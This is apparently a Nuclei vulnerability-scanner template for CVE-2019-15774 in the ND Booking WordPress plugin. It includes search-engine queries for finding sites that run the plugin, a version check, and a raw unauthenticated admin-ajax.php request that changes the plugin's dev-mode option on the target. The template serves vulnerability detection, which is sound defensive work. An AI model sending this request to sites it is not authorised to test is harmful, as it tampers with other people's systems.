CVE-2019-15774: ND Booking < 2.5 - Unauthenticated Options Change

id: CVE-2019-15774

info:
  name: ND Booking < 2.5 - Unauthenticated Options Change
  author: popcorn94
  severity: medium
  description: |
    The Hotel Booking WordPress plugin ND Booking < 2.5 was affected by an Unauthenticated Options Change security vulnerability.
  reference:
    - https://wpscan.com/vulnerability/fb211b8b-5c32-40df-b197-bb51fc672b4b/
    - https://blog.nintechnet.com/privilege-escalation-vulnerability-in-wordpress-nd-booking-plugin/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-15774
    cwe-id: CWE-601
    epss-score: 0.01231
    epss-percentile: 0.78456
    cpe: cpe:2.3:a:booking_project:booking:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    vendor: booking_project
    product: booking
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/nd-booking"
    fofa-query: body="/wp-content/plugins/nd-booking/"
    publicwww-query: "/wp-content/plugins/nd-booking/"
  tags: cve,cve2019,wordpress,wp-plugin,nd-booking,intrusive

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/nd-booking/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'Booking WP plugin')"
          - compare_versions(version, '< 2.5')
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        group: 1
        name: version
        regex:
          - 'Stable tag: ([0-9.]+)'
        internal: true

  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=nd_booking_import_settings_php_function&nd_booking_value_import_settings=nd_booking_plugin_dev_mode%5Bnd_booking_option_value%5D1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Updated option \"nd_booking_plugin_dev_mode\" with the same value."
          - "Updated option \"nd_booking_plugin_dev_mode\" with 1."
        condition: or

      - type: status
        status:
          - 200
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